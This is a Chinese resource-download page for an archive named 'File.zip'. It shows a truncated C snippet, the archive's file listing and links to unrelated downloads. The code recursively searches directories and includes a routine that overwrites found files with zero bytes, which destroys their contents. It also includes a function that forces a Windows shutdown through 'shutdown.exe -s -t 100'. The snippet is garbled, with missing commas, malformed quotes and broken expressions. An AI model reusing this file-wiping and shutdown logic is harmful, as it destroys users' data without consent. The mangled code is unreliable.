资源简介
File.zip
代码片段和文件信息
#include “stdio.h“
#include “string.h“
#include
#include
#include
#include
//#include
typedef char INT8;
typedef unsigned char UINT8;
#define TRUE 1
#define FALSE 0
#define MAX_PATH 200
void myDebug(char *string)
{
printf(“Err:%s“string);
system(“pause“);
exit(0);
}
UINT8 mg_StrCmp( UINT8 *pu8DestAddr UINT8 *pu8SourceAddr )
{
while( (*pu8DestAddr != ‘\0‘) && (*pu8SourceAddr != ‘\0‘) )
{
if( *pu8DestAddr != *pu8SourceAddr )
return FALSE;
pu8DestAddr++;
pu8SourceAddr++;
}
return TRUE;
}
//关机程序, t后面是关机时间,单位s
void ShutDwon(void)
{
system(“shutdown.exe -s -t 100“);
}
//将文件清零
void Clear_File(char *Path char *name)
{
static char filechangNum = 0;
char rw_buff[50] = {0x00};
FILE *FileHandle = NULL;
char OpenFileName[400]={0x00};
if(mg_StrCmp(“main.c“name))
{
return;
}
// if(filechangNum)
// return;
filechangNum++;
strcat(OpenFileNamePath);
strcat(OpenFileName“\\“);
strcat(OpenFileNamename);
FileHandle = fopen(OpenFileName“w+“);
if(FileHandle)
{
// printf(“open file sucess: %s \n“OpenFileName);
fwrite(rw_buffsizeof(unsigned char)sizeof(rw_buff)FileHandle);
}
else
{
// printf(“open file %s err \n“OpenFileName);
}
fclose(FileHandle);
}
//查找指定文件类型的文件
void FindFileName(char *FilePathchar *filename)
{
struct _finddata_t fileinfo; //文件信息的结构体
long handle; //用于查找的句柄
int fileNum = 0; //查找到的文件总数
char FindName[100];
char Path[400]={0x00}; //保存当前路径
strcat(PathFilePath);
strcat(Pathfilename);
handle=_findfirst(Path&fileinfo); //第一次查找 查找到第一个文件
if(-1==handle)
{
//printf(“Find: file no exist.\n“);
//system(“pause“);
//exit(0);
_findclose(handle); //别忘了关闭句柄
return;
}
else
{
fileNum++;
// printf(“Find Dir:%s : %s\n“FilePathfileinfo.name); //打印找到第一个文?
// Clear_File(FilePathfileinfo.name);
}
//循环查找其他符合的文件,
//直到找不到符合的文件为止
while(!_findnext(handle&fileinfo))
{
fileNum++;
// printf(“Find:%s\n“fileinfo.name);
// Clear_File(FilePathfileinfo.name);
}
_findclose(handle); //别忘了关闭句柄
}
//深度优先递归遍历当前目录下文件夹和文件及子文件夹和文件
void filesearch(char *pathint layer)
{
struct _finddata_t filefind;
char FindName[100]=“\\*.*“;// “\\*.*”表示匹配所有文件即查找所有的文件
int done=0ihandle;
char curr[400]={0x00}; //保存当前路径
// FindFileName(path“\\*.c“);
strcat(currpath);
strcat(currFindName);
if((handle=_findfirst(curr&filefind))==-1)
{
//printf(“no file\n“);
return;
}
else
{
//printf(“%s\n“filefind.name); //打印找到第一个文?
}
while(!(done=_findnext(handle&filefind)))
{
if(!strcmp(filefind.name“..“))continue;
for(i=0;iyer;i++)
printf(“ “);
if( (filefind.attrib&_A_SUBDIR))//判断是否文件夹
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2017-10-26 14:47 File\
目录 0 2017-10-26 14:22 File\Debug\
文件 37888 2017-10-26 14:40 File\Debug\File.exe
文件 406944 2017-10-26 14:40 File\Debug\File.ilk
文件 494592 2017-10-26 14:40 File\Debug\File.pdb
目录 0 2017-10-26 11:19 File\File\
目录 0 2017-10-26 14:40 File\File\Debug\
文件 14606 2017-10-26 14:40 File\File\Debug\CL.read.1.tlog
文件 260 2017-10-26 14:40 File\File\Debug\CL.write.1.tlog
文件 1504 2017-10-24 19:28 File\File\Debug\File.Build.CppClean.log
文件 406 2017-10-24 19:28 File\File\Debug\File.exe.em
文件 472 2017-10-24 19:28 File\File\Debug\File.exe.em
文件 381 2017-10-26 14:40 File\File\Debug\File.exe.intermediate.manifest
文件 51 2017-10-26 14:40 File\File\Debug\File.lastbuildstate
文件 10304 2017-10-26 14:40 File\File\Debug\File.log
文件 198 2017-10-24 19:28 File\File\Debug\File_manifest.rc
文件 594 2017-10-26 14:40 File\File\Debug\cl.command.1.tlog
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
文件 2 2017-10-26 14:40 File\File\Debug\li
............此处省略106个文件信息
- 上一篇:CapSense入门教程.pdf
- 下一篇:jlleeQuartus_2.rar
相关资源
- jlleeQuartus_2.rar
- CapSense入门教程.pdf
- friend.rar
- 网御安全系统Power_V功能使用手册.pd
- CppOOPDesign.ccrun.857528.rar
- ☆J.N.Reddy-TheoryandAnalysisofElasticPlatesa
- SHL试题大合集.rar
- 53607898MyBrowser.zip
- test.rar
- 51单片机大量源码.zip
- MEGA5.05_Setup.exe
- 投影变换.rar
- RK3288.brd
- EMC-VNX阵列配置、管理、升级-v2.0.pdf
- 截图(1).rar
- 金融数据分析导论:基于R语言.pdf
- Bellhop.rar
- 小游戏合集.rar
- 数字魔板游戏.zip
- GSM网络与GPRS.pdf
- AFoundationinDigitalCommunication.pdf
- 2006b利率期货Trading_STIR_FuturesAnIntrodu
- PDT数字集群通信系统技术规范-空中接
- SignalsSystemsandInference-PrenticeHall(2015)
- AnritsuMX907600A.rar
- 程控放大器.rar
- machine-learning-security.pdf
- openssh.rar
- CoolPad.rar
- www.163pan.com__格林财务管理系统3.8含注
评论
共有 条评论